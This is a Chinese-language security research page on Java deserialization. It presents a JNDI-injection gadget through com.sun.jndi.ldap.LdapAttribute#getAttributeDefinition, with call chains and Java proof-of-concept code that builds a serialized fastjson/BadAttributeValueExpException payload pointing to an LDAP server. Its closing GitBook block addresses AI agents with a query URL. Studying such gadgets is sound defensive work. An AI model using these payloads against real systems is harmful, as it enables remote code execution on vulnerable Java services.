> For the complete documentation index, see [llms.txt](https://p4d0rn.gitbook.io/java/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://p4d0rn.gitbook.io/java/others/newgetter.md).

# A New Blazer 4 getter RCE

## 0x01 Throw A Problem

不论是CB链中`PropertyUtils.getProperty`，还是`FastJson`的`parseObject`

能调用类的getter方法

但若把两个我们熟知的存在恶意getter方法的类都ban了

> TemplatesImpl#getOutputproperties
>
> JdbcRowSetImpl#getDataBaseMetaData

能否找到一个新的存在恶意getter方法的类呢？最好是在Java标准库的类

## 0x02 Newborn Getter RCE

LDAP协议的JNDI注入中，`InitialContext#lookup`的调用栈如下

> javax.naming.InitialContext#lookup(java.lang.String)
>
> -> com.sun.jndi.url.ldap.ldapURLContext#lookup(java.lang.String)
>
> -> com.sun.jndi.toolkit.url.GenericURLContext#lookup(java.lang.String)
>
> -> com.sun.jndi.toolkit.ctx.PartialCompositeContext#lookup(javax.naming.Name)
>
> -> com.sun.jndi.toolkit.ctx.ComponentContext#p\_lookup
>
> -> com.sun.jndi.ldap.LdapCtx#c\_lookup

所以要想实现JNDI注入，入口不一定要是`InitialContext#lookup`

只要沿途的参数可控，都可以作为入口

👉[Real Wolrd CTF 3rd Writeup | Old System (qq.com)](https://mp.weixin.qq.com/s/ClASwg6SH0uij_-IX-GahQ)

这篇文章的作者找到了另一条可以通向`com.sun.jndi.ldap.LdapCtx#c_lookup`的链子

文章提到了一个在`jdk1.4`和`jdk1.8`都存在的类

Introducing `com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition`\~

> -> com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition
>
> -> javax.naming.directory.InitialDirContext#getSchema(javax.naming.Name)
>
> -> com.sun.jndi.toolkit.ctx.PartialCompositeDirContext#getSchema(javax.naming.Name)
>
> -> com.sun.jndi.toolkit.ctx.ComponentDirContext#p\_getSchema
>
> -> com.sun.jndi.toolkit.ctx.ComponentContext#p\_resolveIntermediate
>
> -> com.sun.jndi.toolkit.ctx.AtomicContext#c\_resolveIntermediate\_nns
>
> -> com.sun.jndi.toolkit.ctx.ComponentContext#c\_resolveIntermediate\_nns
>
> -> com.sun.jndi.ldap.LdapCtx#c\_lookup

```java
Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
    new Class[] {String.class});
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
    new Object[] {"name"});
setFieldValue(ldapAttribute, "baseCtxURL", "ldap://127.0.0.1:8099/");
setFieldValue(ldapAttribute, "rdn", new CompositeName("a//b"));

Method getAttributeDefinitionMethod = ldapAttributeClazz.getMethod("getAttributeDefinition");
getAttributeDefinitionMethod.setAccessible(true);
getAttributeDefinitionMethod.invoke(ldapAttribute);
```

太牛了orz！！！

文章里面还提到了`PriorityQueue`的替代

> `PriorityQueue`它代表的数据结构是优先级队列。
>
> 所谓的反序列化就是将数据还原成对象，因此如果要得到一个优先级队列的对象，在反序列化过程中势必会进行排序的操作。而排序的过程中，很有可能就会用到 `Comparator` 接口类去对数据结构里的数据进行比较。

`TreeMap`也接受一个 `Comparator` 接口类作为构造函数的参数，在调用 `TreeMap`的get或put方法的时候，就会触发 `Comparator.compare` 方法。

![image-20230424140512757](/files/cvwGGP9xAlvXGPIGt10M)

![image-20230424140645189](/files/Af1vVjGmMsi5LvN6GbqJ)

![image-20230424140415815](/files/JWIJJ2HCbhvVQAHGx4Ob)

`AbstractMap.equals` 方法里有 `Map.get` 方法的调用，两个Map对象判断是否相等，通过遍历一个Map的`entrySet`每个键值对，比较另一个Map对应键下的值（这里就调用了`Map.get(key)`）是否和原Map的相等

![image-20230424140222874](/files/zbfjpDTZ95WhcLtuIc0n)

接着找哪里调用了`equals`，HashMap的`readObject`就有

***

还以为这条链子很隐蔽呢。。。`fastjson1.2.60`就把它ban了（也可能fastjson宁可错杀一百也不放过一个）

```java
Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
    new Class[]{String.class});
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
    new Object[]{"name"});
setFieldValue(ldapAttribute, "baseCtxURL", "ldap://127.0.0.1:8099/");
setFieldValue(ldapAttribute, "rdn", new CompositeName("a//b"));

JSONArray jsonArray = new JSONArray();
jsonArray.add(ldapAttribute);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", jsonArray);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
```

`autoType is not support. com.sun.jndi.ldap.LdapAttribute`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://p4d0rn.gitbook.io/java/others/newgetter.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
